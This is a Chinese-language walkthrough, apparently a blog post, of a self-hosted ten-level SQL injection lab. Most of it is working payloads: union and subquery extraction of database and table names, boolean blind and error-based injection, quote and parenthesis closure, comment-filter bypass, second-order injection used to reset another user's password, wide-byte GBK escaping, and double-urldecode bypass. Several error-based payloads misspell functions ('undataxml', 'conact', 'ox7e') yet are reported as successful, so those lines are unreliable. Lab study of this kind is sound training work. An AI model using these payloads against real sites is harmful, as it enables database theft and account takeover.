文章目录
本地搭建
将源码放入,数据库连接好,我们得到了以下目录:
SQL注入篇
注入1(数字型注入)
进入注入点1
测试SQL注入的存在:
http://192.168.3.4/sqli/sqli1.php?id=1
看到id=1,本能的去测,id=2,之后再尝试id=2-1
经过尝试,id=2-1与id=1页面显示内容一样,成功测出存在SQL注入
测字段数:
接下来order by测试字段数,测出当前页存在4个字段
尝试使用显错注入:
使用联合查询:
?id=1 union select 1,2,3,4
页面无回显
将1改为1.1,使得前面错误而执行后面的语句
http://192.168.1.101/sqli/sqli1.php?id=1.1 union select 1,2,3,4
成功出库名:
接下来用子查询的方法:
http://192.168.1.101/sqli/sqli1.php?id=1.1 union select 1,2,3,(select table_name from information_schema.tables where table_schema=database() limit 0,1)
爆出2个表名
尝试布尔盲注:
?id=1 and length(database())>0
页面显示正常
?id=1 and length(database())>1000
页面显示错误,此处可以用布尔盲注。
转ASCII码:
?id=1 and ascii(substr((database()),1,1))>0
页面显示正常
直接用语句?id=1 and ascii(substr((database()),1,1))=0
上burp
得到库名的ASCII,转换一下ASCII即可,库名:rtest
测表:
http://192.168.3.4/sqli/sqli1.php?id=1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=3
所以第一个表长度为3,接下去跑包即可。
注入2(闭合单引号)
此处的id=1的闭合方式变为了单引号闭合
加单引号闭合并注释最后的部分:
http://192.168.3.4/sqli/sqli2.php?id=2' and 1=1 -- a
测试SQL注入的存在:
改变and 1=1 and 1=2 页面错误,测出SQL注入漏洞
使用显错注入和盲注:
代码和注入1一模一样,无非加了单引号使其闭合
注入3(闭合双引号)
将注入2中的单引号变为双引号即可。
注入4(闭合括号)
我尝试了’) 和”) 均没成功,未曾想就只是单纯的括号闭合,之前没注意过,又加一条测试语句
http://192.168.3.4/sqli/sqli4.php?id=1) and 1=1 -- s
只有括号这里不同,其余和注入一的代码一样。
注入5(报错注入)
此处是报错注入
原理:通过在函数中写入不符合语法格式的xpath(xml路径)达到报错的目的,并且通过拼接sql注入语句从而通过报错查询并显示我们想要查询的内容;
(一些致命性的错误会在页面上显示,路径错误是致命的,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。)
concat()是一个拼接语句
语法为select concat('xu','wen','jie');
得到:xuwenjie
我们通过他来拼接致命的路径
concat('~',(select database()))
方法一:updatexml()
updatexml () :原意为:更新XML文件内容
updatexml(目标xml内容, xml文档路径,更新的内容)
updatexml('a', 'C:/1.xml', 'b')//意思为:把C盘里的1.xml里的a改成b
语法为:select updatexml('a', 'C:/1.xml', 'b');
那么接下来开始构造语句
语句为:
http://192.168.1.101/sqli/sqli5.php?id=1 and (undataxml('a',conact('~',(select database())),'b'))
(我们也可以用十六进制来代替~,即ox7e)
发现页面报错了,但报的是语法错误
换单引号试试:http://192.168.1.101/sqli/sqli5.php?id=1' and (undataxml('a',conact('~',(select database())),'b')) -- x
成功报出库名:
方法二:extractvalue()
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
payload:
http://192.168.1.101/sqli/sqli5.php?id=1' and (extractvalue('a',conact('~',(select database())))) -- x
成功:
爆表名字段名也是一样的,只不过把database() 替换成子查询即可。
注入6(布尔盲注)
通过:
http://192.168.1.101/sqli/sqli6.php?id=2' and 1=1 -- a
测试出他是单引号闭合
那么此处与注入2的做法一模一样,使用布尔盲注
注入7(过滤了‘–’和‘#’以及‘%23’)
此处把–和#过滤了
测试:
?id=2’报错,猜测id用了单引号保护
?id=2''
两个单引号不报错
?id=2' or 1=1'
报错
?id=2' union select 1,2,3,4'
可以
?id=-2' union select 1,2,3,4'
变为显错注入
?id=-2' union select 1,2,3,database()'
爆字段也是一样:
http://192.168.1.101/sqli/sqli7.php?id=-2' union select 1,2,3,(select table_name from information_schema.tables where table_schema=database() limit 0,1)'
这里用到的原理就是,‘’即空,必须要和select语句挨着才可以
参考文章:
https://www.bbsmax.com/A/D8546eqpzE/
注入8(简单二次注入)
二次注入的原理:
第一次向数据库中插入数据时,使用addslashes
、get_magic_quotes_gpc
、mysql_escape_string
、mysql_real_escape_string
等函数对特殊字符进行转义,但addslashes的一个特点是,过滤后在参数中加入“\”进行转义,但转义符并不会一起被存入数据库,这就导致了我们输入什么数据,数据库就存了什么数据。
数据存入数据库后,开发者认为数据是可信的。当需要下一次查询时,脏数据直接从数据库中取出,不做进一步的检查和处理,我们再利用我们之前输入的脏数据进行二次注入。
界面有登录和注册功能
我们打开注册功能的代码:
那我们的思路应该就是,在注册的界面将我们构造好的有利于我们二次注入的代码写入,然后回来登录界面,此时输入之前的代码,因为已经被信任,也就不会进行转义,而是会直接执行。
先注册一个正常的:账号密码均为asd
发现数据库中正常显示:
尝试使用asd’# ,密码asd,试图绕过,提示用户名不存在,说明他转义了
接下来我们注册一个:asd’#的账号,密码也为asd
进入数据库:
发现数据原模原样进入了数据库
回到登录界面
登录账号:asd’# 密码:asd
成功进入
这里我们可以修改密码:
密码改为123456
再次进入数据库,发现
我们成功修改了asd的密码
注入9(宽字节注入)
宽字节注入原理:
目标有设置“character_set_client = gbk”时会导致一个编码转换的问题,gbk是双字节编码的。
比如而我们输入的单引号或双引号如果被转义字符转义了,而目标又有这个设置,那么我们可以尝试用一个单字节与转义字符形成双字节从而逃逸掉。
直接输入?id=1' and 1=2 -- s
页面无反应,我们有理由怀疑此时的查询语句应该是:
select *from user where id='1\' and 1=2 -- s'
试试宽字节注入:
?id=%9c' and 1=2 -- s
成功
后面的步骤和之前的步骤一样:
注入10(二次urldecode注入)
宽字节注入和二次urldecode注入均属于编码注入
首先需要了解一个PHP函数:
urldecode()函数:解码已编码的 URL 字符串
和(urlencode – 将传入的字符串进行URL编码)相对应
PHP中常用的过滤函数,如addslashes()、mysql_real_escape_string()、mysql_escape_string(),或者使用魔术引号防止注入,都是通过在单引号(‘)、双引号(“)、反斜杠()、NULL等特殊字符前加反斜杠进行转义。
但是当这些函数遇到urldecode()函数时,会因为二次解码而造成注入。
我们输入?id=1%2527 时,PHP自己在处理提交的数据之前会先解码一次,就成为了?id=1%27
然后urldecode()函数又解码了一遍,就变成了?id=1’
我们输入?id=1%2527 and 1=1 – s,直接绕过
payload:
http://192.168.1.101/sqli/sqli10.php?id=1.1%27%20union%20select%201,2,3,database()--%20s
后续步骤和之前一样。